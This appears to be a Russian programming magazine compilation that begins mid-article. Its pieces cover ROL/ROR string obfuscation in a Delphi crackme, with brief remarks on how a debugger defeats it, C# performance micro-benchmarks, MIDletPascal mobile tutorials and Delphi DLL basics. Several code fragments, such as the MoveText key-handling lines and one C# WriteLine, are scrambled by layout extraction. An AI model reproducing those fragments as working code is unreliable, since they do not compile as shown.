Таким образом, степень защищенности кода крякмиса №1 равна нулю. Все строчки лежат в открытом виде и очень помогают нам при взломе. Значит, надо их зашифровать, чтобы в бинарнике был виден только мусор. А потом расшифровывать нужную строку непосредственно перед выводом на экран и сразу уничтожать. Применять мощные алгоритмы шифрования тут бессмысленно. Все равно, что стрелять из пушки по воробьям. Вполне сойдут простенькие, но быстрые методы. Для шифрования очень подходят несколько ассемблерных команд. 1. XOR – общеизвестный оператор исключающего “или”. Набил уже оскомину и поэтому неинтересен (хотя вполне актуален); 2. XCHG – Обменивает значения операндов. Можно тупо поменять местами старший и младший байт в слове, или старшее и младшее слово в двойном слове. 3. BSWAP – появилась еще в 486-м, но до сих пор используется нечасто. Меняет порядок следования байтов в двойном слове (т.е операндом может быть только 32-разрядный регистр). Удобен для шифрования чисел. Перестановка байт из порядка «младший – старший» в порядок «старший – младший» (т.е. разряды 7-0 обмениваются с разрядами 31-24, а разряды 15-8 с разрядами 23-16). 4. XLAT - Используется для шифрования по таблице. Загружает в AL байт из таблицы в сегменте данных, на начало которой указывает EBX (BX), при этом начальное значение AL играет роль смещения. Таблицу эту создавать лениво, но тоже можно. Очень легко сделать преобразование из одной кодировки в другую (например, KOI-8 – Windows 1251) 5. Связка ROL-ROR. Операторы циклического сдвига. Сдвигают биты в операнде влево или вправо на определенное количество позиций. При этом биты, выходящие за границы записываются с другой стороны числа (rol - старшие биты в младшие, ror – наоборот). Вот такая получается карусель. Отлично подходят для простого шифрования строк. Вот ими и воспользуемся.
Пусть зашифровывать строки мы будем с помощью ROL, а расшифровывать соответственно ROR. Шифровать текст будем побайтно. Количество позиций сдвига битов в байте и будет ключом нашего «шифра» - от 1 до 7. Не шибко много конечно :) Зашифрованные строки будем вводить прямо в листинг программы в виде последовательности ansi-кодов (типа #20#46#240). Почему именно так, а не просто писать в кавычках шифрованную строку? Да потому, что после шифрования появятся непечатаемые символы и служебные коды (типа #1, #9, #13 и т.п.), которые нам все испортят.
Чтобы не мучаться с ручной зашифровкой строк, я написал небольшую утилитку Simple string encryptor (исходничек прилагается) и внес ее в список утилит Delphi (Tools -> Configure Tools … -> Add). Собственно все шифрование выполняется в функции EncryptString, а остальное – интерфейс. unit Unit1; interface uses SysUtils, Forms, Classes, Controls, StdCtrls, ExtCtrls, Spin; type TForm1 = class(TForm) LabeledEdit1: TLabeledEdit; LabeledEdit2: TLabeledEdit;
SpinEdit1: TSpinEdit; Label1: TLabel; Button1: TButton; LabeledEdit3: TLabeledEdit; procedure LabeledEdit1Change(Sender: TObject); procedure SpinEdit1Change(Sender: TObject); procedure Button1Click(Sender: TObject); end; var Form1: TForm1; implementation {$R *.dfm} // Функция шифрования нультерминальной строки // For ANSI-strings. Not for UNICODE! procedure EncryptString(Data: PChar; Shift: Byte); register; asm // Data – eax; Shift – dl(edx) test eax,eax; // Если передан nil ... jz @stop; // ... то выходим mov cl, dl; // загружаем смещение в CL @next: cmp byte ptr [eax],0; //если конец строки (#0) ... jz @stop; // ... то выходим rol byte ptr [eax],cl;// смещаем биты в текущем байте строки inc eax; // получаем следующий байт строки jmp @next; // крутим цикл @stop: end; // Функция преобразовывает строку в последовательность кодов символов function ToAnsiCodes(Str: String): String; var i: Integer; begin for i := 1 to Length(Str) do Result := Result + '#' + IntToStr(Ord(Str[i])); end; // При изменении текста в LabeledEdit1 запускаем шифрование procedure TForm1.LabeledEdit1Change(Sender: TObject); var tmp_str: String; begin tmp_str := LabeledEdit1.Text; EncryptString(PChar(tmp_str), SpinEdit1.Value); LabeledEdit3.Text := tmp_str; LabeledEdit2.Text := ToAnsiCodes(tmp_str); end; // При изменении смещения в SpinEdit1 тоже перезашифровываем строку procedure TForm1.SpinEdit1Change(Sender: TObject); begin LabeledEdit1Change(Self); end; // Копируем строку в буфер обмена при нажатии на «Copy to Clipboard» procedure TForm1.Button1Click(Sender: TObject); begin LabeledEdit2.SelectAll; LabeledEdit2.CopyToClipboard; LabeledEdit2.SelLength := 0;
end; end.
Функция шифрования получилась очень короткой – всего 8 ассемблерных команд. А распаковщик будет занимать еще меньше. Код очень быстрый и к тому же совершенно не расходует память. С помощью только что созданной утилиты шифруем все строки из секции const, и, чтобы потом не запутаться, комментируем их нормальными строками. Я зашифровал строки со смешением = 3. Дальше дописываем расшифровщик, и вот что у нас получается: program crackme2; {$APPTYPE CONSOLE} const // title = 'Simple crackme N2 by tripsin'; title = #154#75#107#131#99#43#1#27#147#11#27#91#107#43#1#114#145#1#19#203 #1#163#147#75#131#155#75#115; // promth = 'Enter password: '; promth = #42#115#163#43#147#1#131#11#155#155#187#123#147#35#209#1; // hellohacker = 'Invalid password! Try else.'; hellohacker = #74#115#179#11#99#75#35#1#131#11#155#155#187#123#147#35#9#1 #162#147#203#1#43#99#155#43#113; // registered = 'Correct password !! You are hacker!'; registered = #26#123#147#147#43#27#163#1#131#11#155#155#187#123#147#35#1 #9#9#1#202#123#171#1#11#147#43#1#67#11#27#91#43#147#9; // serial = 'superpuperp@ssvvord'; serial = #155#171#131#43#147#131#171#131#43#147#131#2#155#155# 179#179#123#147#35; // exit = 'Press <Enter> to Exit.'; exit = #130#147#43#155#155#1#225#42#115#163#43#147#241#1#163#123#1# 42#195#75#163#113; var password: String; // переменная для вводимого пароля str: String; // здесь хранится расшифрованный серийник // Функция расшифровки строки, зашифрованной rol со смещением 3 procedure DecryptString(Str: PChar); asm @next: cmp byte ptr [eax],0; //если конец строки (#0) ... jz @stop; // ... то выходим ror byte ptr [eax],3; // смещаем биты в текущем байте строки inc eax; // получаем следующий байт строки jmp @next; // крутим цикл @stop: end; // Функция выводит на экран расшифрованную строку procedure Print(str: String); begin UniqueString(str); // Обязательно создаем уникальную копию строки DecryptString(PChar(str)); Write(str); end; begin str := serial; DecryptString(PChar(str)); //расшифровка серийника Print(title);
WriteLn; Print(promth); // Просим ввести пароль ReadLn(password); // И записываем его в password // Сравнение введенного пароля и расшифрованного серийника if password = str then Print(registered) else Print(hellohacker); WriteLn; Print(exit); Readln; end.
Расшифровка строк происходит в функции DecryptString. Заметь - всего 5 ассемблерных команд. Смотри комментарии в коде. В основном коде программы вызовы Write и WriteLn заменены на Print. Тут надо чуть поподробнее. Функция получает строку и в своем теле делает уникальную копию этой строки с помощью UniqueString. Это сделано для того чтобы быть уверенным, что для строки будет выделена отдельная область памяти, а не просто увеличился счетчик ссылок (подробности читай в моей статье «String. То, чего ты мог и не знать.» в разделе про AnsiString). Мы ведь собираемся ассемблером над строкой издеваться, а Delphi об этом не знает, и будет большой облом. Кстати, попробуй закомментировать строку с UniqueString – у меня программа закрывалась, даже не пекнув. Дальше Print вызывает DecryptString, и в созданной копии строки расшифровывает каждый байт с помощью ROR. Затем уже строка выводится на экран: Write(str), а при выходе из функции расшифрованная строка прибивается Delphi, как и любая другая локальная переменная. Поэтому строчка нигде больше не светится. Вот собственно и все. Hex-редактором строки просто так уже и не найдешь, они растворились где-то в коде. Осталось скормить дизассамблеру – и тут тоже молчок. Только какие-то служебные Дельфиньи строки светятся. Можно считать, что цель достигнута. Конечно, сделанный тут крякмис очень легко ломается в отладчике. Ведь в нем можно подсмотреть уже расшифрованное значение серийника. А в дизассемблере можно скорректировать результат сравнения серийника и введенного пароля, или проанализировать расшифровщик и восстановить все строки. А еще… Да полно способов в общем. Но никто и не говорил, что мы тут сделаем панацею от всех бед. Это всего лишь один из довольно простых методов, повышающий общую стойкость защиты. А против отладчика есть антиотладочные приемы. Исходники примера ищи в архиве Crypt.zip
Copyright: Орехов Роман also known as tripsin E-Mail: tripsin@yandex.ru WWW: http://tripsin.narod.ru
C#: Оптимизация. Part 2 От автора Доброго утра, уважаемый читатель! Да-да, именно утра, потому что, ещё со школьных и до нынешних, университетских, времён математика в моём учебном расписании была первым занятием. Повезло (а может и не очень), и в этом году: каждая среда начиналась с чтения «Вычислительной математики» (ака «Численные методы»). Для тех, кто ещё не знаком с этой дисциплиной, поясню кратко: Этот предмет является фундаментом, стартовой площадкой в мир математического моделирования. Или ещё проще: ни один прогноз погоды, ни постройка и виртуальное испытание нового самолёта-гиганта Airbus A-380 не обошлась бы без численных методов. Методы должны быть эффективными. Но оставим эффективность методов математикам-теоретикам (хотя, каждый, кто решился перенести алгоритм метода с бумаги в компьютер, должен, во избежание многочисленных ошибок, понимать, а что, собственно говоря, он программирует?). Конечно же, C# не создан для математического программирования (для подобных задач давно и с успехом используется FORTRAN). Но, как часто случается, многим программистам приходится использовать математические функции языка, даже если язык не в состоянии их очень быстро выполнить. В этой статье я попробую рассказать о разных трюках, позволяющих существенно ускорить итерационные вычисления в C#.
Эффективное возведение в степень К сожалению, Microsoft не собирается в ближайшее время раскрывать исходный код классов .NET Framework (подождём лет 20), а пока, остаётся предположить, что для возведения в степень .NET использует алгоритм «быстрого возведения»: ах сложностью О(logx). Но на конечный вопрос «что быстрее?» можно ответить только экспериментальным путём. Речь пойдёт о возведении числа a в степень x, где а – вещественное число, х – целое положительное число. static void Main() { double res = 0; int x = 3; bool flag = true; Random rnd = new Random(); int ticks = Environment.TickCount; // запоминаем время for (int i = 0; i < 10000000; i++) { res += ((flag = !flag) ? -1 : 1) * rnd.NextDouble()* Math.Pow(x, 2); // возведение в квадрат } Console.WriteLine("Math.Pow(x, 2) result: " + (Environment.TickCount - ticks) + ": " + res.ToString()); flag = true; res = 0; ticks = Environment.TickCount;
for (int i = 0; i < 10000000; i++) { res += ((flag = !flag) ? -1 : 1)
* rnd.NextDouble() * x * x; // возведение в квадрат } Console.WriteLine("x*x result: " + (Environment.TickCount - ticks) + ": " res.ToString());
+
Console.ReadLine(); }
В коде появились новые элементы. Переменная flag используется как переключатель сложения / вычитания. Случайное число из диапазона (0..1) – чтобы ненароком не попасть за границы разрядной сетки. При большом числе итераций (106) получаем результат: х*х 100 мс, Math.Pow(х,2) – 500 мс. Но не будем делать из этого поспешные выводы. Посмотрим, при каких условиях Math.Pow() работает быстрее. (режим компилятора – Release) Степень x4 x10 x20 x50 х60
Math.Pow() мс. 420 420 420 500 500
x*x*x… мс. 110 150 210 420 500
Проведя серию тестов, можно сделать вывод, о том, что Math.Pow() реализована достаточно удачно, наблюдается линейная зависимость от величины степени. На низких степенях рекомендуется использовать х*х*..*х.
Циклы, вложенные if и ещё раз циклы Оптимизация циклов нужна в любых вычислениях. Очень чувствителен к оптимизации циклов язык Fortran. А что касается C#... Проведём несколько тестов:
Тест №1 const int count = 3000; for (int i = 0; i < count; i++) { if (flag) for (int j = 0; j < count; j++) { t += rnd.NextDouble()*j+i; } else for (int j = 0; j < count; j++) { t -= rnd.NextDouble()*j+i; } flag = !flag; }
Тест №2
for (int i = 0; i < count; i++) { for (int j = 0; j < count; j++) { if (flag) t += rnd.NextDouble()*j+i; else t -= rnd.NextDouble()*j+i; } flag = !flag; }
Тест №3 for (int i = 0; i < count; i++) { for (int j = 0; j < count; j++) { t += rnd.NextDouble() * (flag ? 1 : -1)*j + i; } flag = !flag; }
Как не странно, первый и второй тесты показывают одинаковые результаты (~ 700 мс). А третий тест ~ 900 мс.
Циклы и исключения Старайтесь избегать возникновения ситуаций, в которых блоки try…catch задействованы на каждой итерации цикла. Допустим, вы знаете, что в половине случаев будет возникать ошибка переполнения OverflowException. Но стоит ли тратить время на обработку ошибок? (режим компилятора – Release) int j = 0; ticks = Environment.TickCount; for (int i = 0; i < count; i++) { try { throw new OverflowException(); } catch { j = i + 1; } } Console.WriteLine("First test: {0}; j = {1}", (Environment.TickCount - ticks), j); ticks = Environment.TickCount; for (int i = 0; i < count; i++) j = i + 1;
Console.WriteLine("Second test: {0}; j = {1}", (Environment.TickCount - ticks), j);
В результате тест №2 выполняется за 0 мс, тогда как первый – за 350 мс.
Организация двумерных массивов Вы никогда не задумывались, почему в C-подобных языках принято в начале пробегаться по последнему измерению массива, меняя на единицу предыдущее и.т.д.? Ведь в том же Фортране движение происходит от первого измерения к последнему. Для массива типа double[][], выглядит это так: FORTRAN: for (int i = 0; i < elements; i++) for (int j = 0; j < elements; j++) arr[j][i] =
C: for (int i = 0; i < elements; i++) for (int j = 0; j < elements; j++) arr[i][j] =
const int elements = 2000; Random rnd = new Random(); int ticks; double[][] arr = new double[elements][]; //jagged array double res = 0; for (int i = 0; i < elements; i++) arr[i] = new double[elements]; ticks = Environment.TickCount; for (int i = 0; i < elements; i++) for (int j = 0; j < elements; j++) { // Здесь не желательно менять i, j местами // Массив типа double[,] работает быстрее arr[i][j] = rnd.NextDouble(); res += arr[i][j]; } Console.WriteLine("Array test: {0}, Result: {1}", (Environment.TickCount - ticks),res);
C# по природе далёк от C. Но тем не менее, распределение памяти в нём осталось прежним: быстрее работает вариант перемещения «от последнего к первому». Разница во времени: 600 мс для первого теста (вариант C) и 2000 мс для второго (вариант Fortran). Кстати, двумерные массивы типа х (double[,]) работают соответственно: 300 мс, 450 мс.
for vs. foreach = ничья Несколько слов об операторах for и foreach. Существенная разница была видна в компиляторе версии 1.0. Начиная с версии 1.1 для встроенных типов нет никакой разницы между for и foreach. double[] dArray = new double[count]; for (int i = 0; i < count; i++) { dArray[i] += rnd.NextDouble(); } ticks = Environment.TickCount; for (int i = 0; i < count; i++) Console.WriteLine(dArray[i]); int first = Environment.TickCount - ticks;
ticks = Environment.TickCount; foreach (double d in dArray) Console.WriteLine(d); Console.WriteLine("First test: " + (first)); Console.WriteLine("Second test: " + (Environment.TickCount - ticks));
- Дают одинаковые результаты. Конец второй части.
Copyright: BasicWolf E-Mail: basicwolf@list.ru
На паскале для мобилы Да, да! Дорогой друг, ты не ошибся! Сегодня мы будем писать на паскале для мобилы! Но, конечно, не просто на паскале, а на специализированном для этих целей языке, называемом MIDLetPascal. Его можно слить с сайта разработчиков http://midletpascal.com. Процесс очень интересный - вроде пишешь на старом, добром паскале, а код конвертируется в яву, и на выходе ты получаешь совершенно нормальное мобильное предложение. Ну, давай попробуем разобраться поподробнее. После создания нового проекта (File--New) мы получим следующий кусок кода: program NewProject4; begin drawText('Hello world!', 0, 0); repaint; delay(2000); end. Ну, давай разбираться! С первой строкой вроде всё понятно, а вот в блоке begin..end надо приглядеться повнимательнее. Этот код просто выводит на экран текст "Hello World!!!". Т.е. процедура procedure DrawText(text: string, xPos, yPos: integer); записывает нужный текст в буфер. Она имеет три параметра: 1. text: string - текст, который записывается в буфер. 2. xPos : integer - положение текста от левой границы экрана. 3. yPos : integer - положение текста от верхней границы экрана. procedure Repaint; - перерисовывает дисплей мобилы. Просто все функции отображения или текста, или рисунка сами его не выводят, а лишь записывают в буфер. Но перерисовка очень сложная процедура, требующая много времени, поэтому используй её как можно реже. procedure Delay(millis: integer); Приостанавливает выполнение программы в течение данного времени в миллисекундах. Т.е. если просто вывести текст на дисплей, то он отобразится и сразу исчезнет. Не забывай это!!! Используй процедуру Delay. Вот вроде и разобрались с первой прогой на МидлетПаскале. Можешь компилировать проект, закачивать его на своего мобильно друга, и хвастаться перед знакомыми девчёнками. А прикинь выражение товоей подруги, если ты ей на День Рождения подаришь такую прогу, которая будет её поздравлять! Всё! Она твоя! На этом чудо-языке можно писать и игры для мобил, но это немного посложнее вывода текста, так что не всё сразу. Конечно, можно найти к МидлетПаскалю хелпы, начитаться их и может что-то и получится. Но это сложно, изучать надо постепенно, так что не торопись, читай понемногу! Давай теперь напишем какой-нибудь пример сами. Ну, например, пусть текст будет перемещаться по дисплею по нажатию на кнопки. Заодно и про работу с кнопками поговорим. Создавай новый проект, и пиши в нём следующее: program MoveText; var x, y: integer; keyCode: integer; begin repeat
keyCode := GetKeyPressed; // Получение нажатой кнопочки if if if if
KeyToAction(keyCode) KeyToAction(keyCode) KeyToAction(keyCode) KeyToAction(keyCode)
= = = =
GA_UP GA_DOWN GA_LEFT GA_RIGHT
then then then then
y y x x
:= := := :=
y y x x
+ +
1; 1; 1; 1;
SetColor(255, 255, 255); // устанавливаем цвет рисунка в белый FillRect(0, 0, GetWidth, GetHeight); // очищаем экран SetColor(0, 0, 0); // устанавливаем цвет рисунка в черный DrawText('Hello world', x, y); // выводим текст в опред. позиции Repaint; //перерисовка Delay(100); //задержка until keyCode = KE_KEY0; end. Сначала вводим переменные, ни каких отличий с паскалем нету. Потом применяем конструкцию repeat..until, такую же как и в паскале. Затем инициализируемся, перехватываем код нажатой клавиши. И по ситуации перерисовываем текст - правее или левее, ниже или выше. Ещё попутно устанавливаем цвета стандартной процедурой procedure SetColor(red, green, blue:integer); Которая имеет три простых параметра: смодержание красного, зелёного и голубого, значения увеличиваются от 0 до 255. В конце работы с текстом в буфере перерисовывает его на экран, делаем задержку. Все действия продолжаются до того, пока не нажата клавиша 0. Всё просто, но весело. Теперь всё это дело надо скомпилировать и протестировать. Для тестинга конечно лучше иметь у себя на компе эмулятор телефона. Ведь неудобно каждый раз закидывать файлы на телефон, но можно. Про эмуляторы можно пробить на сайте разработчиков Чудо-Мабило-Паскаля. Вот такие прикалюхи можно писать на телефон с помощью старого доброго паскаля, так что забывать его вам не советую. Ну, на сёдня все, остальное позже...
Copyright: Soffrick aka Васючков Андрей E-Mail: Soffrick@mail.ru WWW: www.LiveOfPC.3dn.ru
Cоздание форм на MIDLETPascal Ты уже написал своё первое приложение для мобилы на MIDLETPascal. Но там ничего особенного не происходило - просто текст на дисплее двигался, по нашему велению, конечно. Это были основы Чудо-Языка: ты увидел структуру программы, познакомился с основными функциями. Теперь бы пора написать что-нибудь посерьёзнее, например, форму. Простую форму для контактирования приложения с пользователем. Это всегда очень важно - ведь чтоб твоя прога была востребована, она должна быть простой в понимании и управлении, и даже самые сложные функции должны быть показаны пользователю, как простое нажатие на кнопочку. Ну, хватит трёпа лишнего, давай кодить! Открывай МобильныйПаскаль, создавай новый проект и доведи его до вида, показанного на Листинге. Листинг: program Form; var NameId, NumberId, AgeId : Integer; Name, Number, Age : string; cmdNext, cmdexit : command; begin showForm; //показываем форму //создаём элементы управления NameId := FormAddTextField('Enter your name', '', 20, TF_ANY); NumberId := FormAddTextField('Enter your phone', '', 20, TF_PHONENUMBER); AgeId := FormAddTextField('Enter your age', '', 20, TF_NUMERIC); //создаём команду(кнопку) cmdNext := createCommand('Next', CM_OK, 1); AddCommand(cmdNext); repeat until GetClickedCommand = cmdNext; //берём текст, введёный пользователем Name := FormGetText(NameId); Number := FormGetText(NumberId); Age := FormGetText(AgeId); //выводим информацию на дисплей ShowTextBox('Information', 'Hello ,' + Name+ ' Your age - ' + Age + ' Your Number - ' + Number, 200, TF_ANY); cmdExit := CreateCommand('Exit', CM_EXIT, 1); AddCommand(cmdExit); repeat delay(100); until GetClickedCommand = cmdExit; end.
Это и есть сегодняшний пример. Простая прога с формой, на которой расположены элементы ввода. Юзер вводит туда свои данные, потом прога их анализирует и выводит всё в нужных местах. Давай попробуем разобраться, что мы тут понаписали? Блок Var - это блок объявления переменных, всё как в обычном Паскале. Здесь у нас введены три строковые пременные, две команды и три преременные, через которые будут создаваться поля ввода текста, т.е. это индификаторы. Сложно? Не сложнее, чем всегда! Щас всё станет понятнее. Далее идёт главный блок begin...end. , в котором расположено тело программы. Всё начинается с процедуры ShowForm. Эта процедура выводит на дисплей форму, которая может содержать в себе ярлыки, картинки, поля текста и другие пользовательские элементы интерфейса. Именно на созданной форме мы и будем размещать наши поля ввода. Далее, собствено, идёт создание полей ввода функцией FormAddTextField. Давай посмотрим на неё поближе: function FormAddTextField(prompt, defaultValue: string; maxSize: integer; constraints:integer ):integer; Эта функция имеет четыре параметра: 1. prompt:string - это текст, который отобразится над полем ввода, то есть TITLE. 2. defaultValue: string - это текст, который будет отображён в новом поле ввода. Чтоб поле было пустое, ставь вместо параметра ''. 3. maxSize: integer - это максимальное количество символов, которое пользователь сможет забить в поле ввода. 4. constraints:integer - ограничение ввода. Т.е. можно вводить только то, что здесь указанно. Например, номер телефона, значит, вводиться будут только цифры, да и то определённое количество. Вот какие значения может принимать параметр constraints: • • • • • •
TF_ANY - можно писать любые знаки; TF_EMAIL - только адреса электронной почты; TF_NUMERIC - только числа; TF_PHONENUMBER - можно вводить только номер телефона в 10-ти значном формате; TF_URL - только URL; TF_PASSWORD - все знаки будут скрыты под звёздочками, типа пароль;
Дальше мы создаём команду (типа кнопку), функцией CreateCommand: function CreateCommand(label:string; commandType:integer; priority:integer): command; Эта функция имеет три параметра: label:string; - это название кнопки. Название должно быть довольно коротким. priority:integer; - это приоритет будущей кнопки. Чем меньше значение, тем больше приоритет. commandType:integer - это параметр определяет намерения команды. Например, надо создать кнопку "назад", значит, ставим параметр в CM_BACK. Это чертовски повышает читабильность кода в большом проекте. Вот какие значения может принимать параметр commandType: •
CM_SCREEN - любой тип команды.
• • • • • • •
CM_BACK CM_CANCEL CM_OK CM_HELP CM_STOP CM_EXIT CM_ITEM
В нашем случае кнопка будет подтверждть ввод пользователя, поэтому в качестве параметра commandType укажем CM_OK. Итак, мы создали форму, на ней три поля ввода с разной возможностью ввода: числа, буквы и номер телефона, ещё мы создали кнопку, по нажатию на которую нам надо двигаться дальше. Для этого применяем цикл repeat until GetClickedCommand = cmdNext; Функция function GetClickedCommand: command возвращает последнюю нажатую команду. Значит, в программе ничего не будет происходить, пока юзер не нажмёт на кнопку "Next". А если он всё-таки нажмёт на кнопку, то переменным мы присваиваем введённые в поля ввода значения, с помощью функции function FormGetText(textFieldID:integer):string. Эта функция возвращает значения, введённые в поле ввода, по индификатору элемента интерфейса. После работы с переменными, мы создаём и показываем полноэкранное текстовое поле процедурой: procedure showTextBox(title: string; initialContents: string; maxSize: integer; constraints: integer); которая имеет четыре параметра: • • • •
title: string; Название текстового пространства. initialContents: string; Это текст, который будет выведен сразу по созданию элемента. maxSize: integer; Максимальное количество символов, которое может быть забито. constraints:integer; Это ограничение ввода. Я уже про них говорил. Вот какие значения может принимать параметр constraints здесь:
• • • • •
TF_ANY - можно писать любые знаки; TF_EMAIL - только адреса электронной почты; TF_NUMERIC - только числа; TF_PHONENUMBER - можно вводить только номер телефона в 10-ти значном формате; TF_URL - только URL;
С помощью этой процедуры ты можешь создать полноценный текстовый редактор на мобилу, а у нас этот элемент интерфейса используется только для отображения информации, которую ввёл пользователь. После того как текст вывелся, мы снова создаём команду и применяем цикл задержки. Всё очень просто! Теперь ты знаешь основные приёмы создания пользовательского интерфейса для приложений на мобилы. Но элементов, которые мы рассмотрели, может быть мало, поэтому я покажу тебе исходник более продвинутой формы, а разобраться в нём попробуй сам: program MegaForm; var stringID, textID, passID,
imgID, gaugeID, choiceID, maleID, femaleID: integer; cmdExit: command; begin ShowForm; //создаём разные элементы управления stringID := FormAddString('Just some title'); textID := FormAddTextField('Enter name', 'Вася', 20, TF_ANY); passID := FormAddTextField('Enter password', '', 20, TF_PASSWORD); imgID := FormAddImage(LoadImage('/icon.png')); gaugeID := FormAddGauge('Choose your age', true, 100, 18); choiceID := FormAddChoice('Select your gender', CH_EXCLUSIVE ); maleID := ChoiceAppendString(choiceId, 'Male'); femaleID := ChoiceAppendString(choiceId, 'Female'); cmdExit := CreateCommand('Exit', CM_EXIT, 1); AddCommand(cmdExit);
repeat
until GetClickedCommand = cmdExit;
end. Ну, вот и всё, что хотел сказать. Надеюсь, до встречи!
Copyright: Soffrick aka Васючков Андрей E-Mail: Soffrick@mail.ru WWW: www.LiveOfPC.3dn.ru
Программирование DLL Итак, как видно из названия, речь пойдет о динамических библиотеках. Эта тема вызывает затруднения у начинающих программистов. Думаю, что после этой статьи затруднений станет меньше ;-) Итак, что такое DLL: это некий программный модуль, содержащий код или ресурсы или какие нибудь данные или всё вместе, которые можно использовать одновременно из нескольких приложений. Обычно разделяют так: исполняемый файл с расширением ЕХЕ и группа библиотек , файлы с раширением .DLL. Собственно говоря, динамическая библиотека не обязательно имеет расширение DLL, они также могут быть и SYS, DRV, PLG, сути это не меняет, расширение указывает на то, какие функции библиотека выполняет. SYS - системная, DRV - драйвера, PLG - плагин и т.д. В операционной системе (далее ОС) WINDOWS, насколько я знаю, принято так, что из DLL экспортируются только функции... Функции должны иметь соответствующее название, чтоб можно было из названия понять, что же реализует данная функция. Передаваемые параметры должны иметь перед именем символ "А". Пример: Function SaveMyFile (AFileName : string) : boolean; stdcall; Кстати, о работе с переменными типа «string в DLL» мы поговорим позже, сейчас же уясним основные понятия, которые помогут тебе в написании библиотек. Не будем вдаваться в подробности работы потоков и т.д. в ОС, главное сейчас уяснить, что если библиотека загружалась, то, соответственно, должна быть выгружена. В ИСР Delphi предусмотрен специальный мастер создания библиотек, который вызывается так: File New - Other - DLL Wizard. При создании библиотеки вы увидите отличие: library MyDLL; { Important note about DLL memory management: ShareMem must be the first unit in your library's USES clause AND your project's (select Project-View Source) USES clause if your DLL exports any procedures or functions that pass strings as parameters or function results. This applies to all strings passed to and from your DLL--even those that are nested in records and classes. ShareMem is the interface unit to the BORLNDMM.DLL shared memory manager, which must be deployed along with your DLL. To avoid using BORLNDMM.DLL, pass string information using PChar or ShortString parameters. } uses SysUtils, Classes; {$R *.res} begin end. Вместо привычных нам Unit и т.д. имеется запись library <ИМЯ>, что означает - мы создаем
библиотеку. Запись в {текст} есть некоторые нотации на написание библиотеки, наставления, сосбвенно их можно сразу удалить, и получим: library MyDLL; uses SysUtils, Classes; {$R *.res} begin end. Теперь разберем, что же находилось в этих комментариях. А находилось там то, что я уже затрагивал - именно работа с переменными типа STRING. Итак, что же нам нужно: • •
подключить в раздел USES модуль ShareMem при переносе программы на другую машину необходимо также перенести библиотеку BORLNDMM.DLL, чтоб и там была возможность работы со STRING.
Если этого не сделать, то выполенение программы, где в DLL передаются параметры типа STRING будет невозможным, тогда проще использовать переменные типа ShortString. При написании библиотеки особое внимание нужно уделить ошибкам, так что по возможности нужно писать как обработку ошибок, так и писать "чистый" код. Для того чтобы приложение могло обратиться к библиотеке, а в частности к функциям, эти функции должны быть экспортированы. Написание функций, которые экспортируются из библиотеки, немного отличается в написании от привычных функций. Обыденно, при написании функций экпортируемых из DLL в конце указано STDCALL, - что это? STDCALL - соглашение о вызове функции (одно из 5), нужно для того, чтоб модуль был совместим с применяемыми по умолчанию методами WIN32 API. Давайте приступим к применению наших знаний. За основу я возьму уже свой проект MyDLL. Добавьте в библиотеку модуль UNIT, где будем описывать все функции. Итак, у меня получилось следующее: library MyDLL; uses SysUtils, Classes, windows, forms, Unit1 in 'Unit1.pas'; {$R *.res} exports Sum; begin end.
interface uses SysUtils, Classes, windows, forms; function Sum (AValue1 : integer; AValue2 :Integer) : integer; stdcall; implementation function Sum (AValue1 : integer; AValue2 :Integer) : integer; begin Result := AValue1 + AValue2; end; end. Давайте разберем этот код. В UNIT1, я объявил функцию Sum, которая реализует складывание двух целых чисел, в которой в конце указал STDCALL (см. выше). В основном разделе в секции Exports указал, что данная функция идет на экспорт. Теперь, перед тем как усложнить задачу, давайте проверим, как это всё работает. Откройте еще одну ИСР Delphi, и создайте еще один проект, сохраните его. Добавьте на создавшуюся форму следующие компоненты: 3 компонента Edit и кнопку, в Caption которой запишите Sum. Очисти поля Edit. В первый и второй Edit (Edit1 и Edit2) будем вписывать соответственно первое и второе значение, а в Edit3 по событию нажатия кнопки наша библиотека, высчитав, вернет нам значение суммы, туда его и запишем. Так как мы не писали пока что никаких проверок, то в поля Edit1 и Edit2 будем вводить только целые значения. Скопируйте библиотеку в папку с создаваемым проектом. Итак, мой код таков, давайте прям по порядку и пройдемся : unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Edit1: TEdit; Edit2: TEdit; Button1: TButton; Edit3: TEdit; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end;
TSum = function(AValue1 : integer; AValue2 :Integer) : integer; stdcall; //объявление //типа Tsum, где указываю, что это есть функция, подгружаемая, где прописываю, что это //за функция, что возвращает, и какие параметры туда следует передать. var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); var Dllinst: cardinal;//переменная, куда сохраняется адрес подгружаемой библиотеки ResSum: TSum; // переменная типа TSUM(см. выше) Summa: integer; // переменная для записи результата begin Dllinst := LoadLibrary('MyDLL.dll'); // загружаем библиотеку if Dllinst = 0 then //если библиотека не найдена,то DllInst будет равна 0 showmessage('Библиотека не найдена') else try //защищенный блок begin @ResSum := GetProcAddress(Dllinst,'Sum'); //по адресу DLLInst находим нашу процедуру //Sum, необходимо писать имя процедуры так, как это написано в библиотеке summa := ResSum(strtoint(trim(Edit1.Text)),strtoint(trim(Edit2.Text)));// передаем значение и //получаем результат Edit3.Text := inttostr(Summa); //выводим результат в Edit3 end; finally FreeLibrary(dllinst); //высвобождаем библиотеку за ненадобностью end; end; end. Скомпилируйте проект и попробуйте его в действии. Ну, как? Впечатлило? Нет? Тогда пойдем дальше и усложним нашу задачку.
Добавление форм. Перейдите в ИСР с разрабатываемой библиотекой. Добавьте в проект новую форму, и всё, больше пока ничего не пишите. Перейдите в окно с описанием самой библиотеки, и вы увидите, там написано Unit2 {Form2}, собственно, что означает, что в наш проект была добавлена форма, на эту форму положите компонент из палитры компонентов, типа Memo, очистите его, и сохраните проект. Теперь перейдите в Unit, где вы описываете все функции, давайте создадим функцию, которая будет создавать эту форму и добавлять в Memo нужный нам текст, также высвобожать её за ненадобностью.
